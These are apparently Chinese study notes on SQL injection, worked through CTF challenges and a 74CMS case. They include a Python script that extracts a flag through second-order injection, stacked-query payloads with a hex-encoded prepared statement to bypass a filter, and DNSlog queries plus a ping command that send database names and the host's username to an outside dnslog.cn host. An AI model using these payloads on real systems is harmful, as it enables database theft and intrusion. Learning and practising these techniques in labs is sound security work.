#知识点:
1、数据库堆叠注入
根据数据库类型决定是否支持多条语句执行
2、数据库二次注入
应用功能逻辑涉及上导致的先写入后组合的注入
3、数据库 Dnslog 注入
解决不回显(反向连接),SQL 注入,命令执行,SSRF 等
4、黑盒模式分析以上
二次注入:插入后调用显示操作符合
堆叠注入:判断注入后直接调多条执行
DNS 注入:在注入上没太大利用价值,其他还行
#二次注入-74CMS&网鼎杯 2018Unfinish
比如:找回密码功能:
得到你的用户名(你找回谁的密码)
进入用户名绕过,网站进入找回密码的验证阶段(网站记录知道你是谁了)
接受获取你的用户名,修改密码update
但如果在注册用户名时,写了一个SQL注入的语句
则当进行修改密码时,会对用户名进行调用
即:update user set password='xiaodi' where username='SQL注入代码'
从而形成注入点
CTF-[网鼎杯 2018]Unfinish-黑盒
先进入register.php页面
通过注册完账号后,进行账号登录,此时发现我们的用户名被调用了,这时就可以估计此注入点是二次注入
分析:
注册用户:添加insert
Insert into user(email,username,password) value('3178151661245@qq.com','AT','123456')
登录:用的email和password
进入用户中心:用用户名进行显示
Select username from user where email='31781511245@qq.com'
那么此时我往username这个地方开始注册时就注入了SQL注入,那么此时显示出来的就是我SQL注入来的地方
我们这里使用.py进行制造payload
import requests
from bs4 import BeautifulSoup
import time
url = 'http://d1e19434-4122-4e6e-9aa4-7e31af7022f4.node5.buuoj.cn:81/'
m = ''
for i in range(100):
payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
req = requests.session()
r1 = req.post(url+'register.php',data = register)
r2 = req.post(url+'login.php', data = login)
r3 = req.post(url+'index.php')
html = r3.text
soup = BeautifulSoup(html,'html.parser')
UserName = soup.span.string.strip()
if int(UserName) == 0:
break
m += chr(int(UserName))
print(m)
time.sleep(1)
CMS-74CMS 个人会员中心-黑白盒
黑盒:
对学校名称进行注入
我们并没有填入学校地址,但输入了学校的名字,然后地址就会跟着学校名字一起出来,形成二次注入
xiaodi',address=user()#
即insert address value ('xiaodi',address=user#)
白盒:
根据修改内容抓包,发现对应函数save_resuma_education_edit中的SQL查询语句
抓学校地址该网页的包,并进行查看其相关函数 make4_save
发现有SQL语句------insert:会把修改的内容插入到数据库的相关位置
对其SQL语句进行监听
#堆叠注入-数据库类型&强网杯 2019 随便注
根据数据库类型决定是否支持多条语句执行 这里与联合查询是有区别的;
如select * from news where id=1;create table xioadi like news;
支持堆叠数据库类型:MYSQL MSSQL Postgresql 等
一般的,代码上和数据库上的堆叠操作权限是不一样的,如果代码上允许堆叠,那数据库上一定可以,如果代码上不行,数据库也可以进行堆叠
过滤规则,select是被过滤的,还有一些注入常用语句也被过滤了,此时可考虑堆叠注入
参考:https://www.cnblogs.com/Timesi/p/11426348.html
';show databases;
';show tables;
';show columns from `1919810931114514`;
';select flag from `1919810931114514`;
';SeT
@a=0x73656c656374202a2066726f6d2060313931393831303933313131343531
3460;prepare execsql from @a;execute execsql;
#DNS 利用-平台介绍&SQL 注入&命令执行等
DNS注入原理:让服务器自己去访问网页的地址,通过网络的参数去让对方进行执行,并回显到DNS上
基本只针对于MYSQL------load_file
1.平台
2.应用场景:
解决不回显,反向连接,SQL 注入,命令执行,SSRF 等
SQL 注入:
select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));
and (select load_file(concat('//',(select
database()),'.69knl9.dnslog.cn/abc')))
命令执行:
ping %USERNAME%.7logee.dnslog.cn
接受的主机的username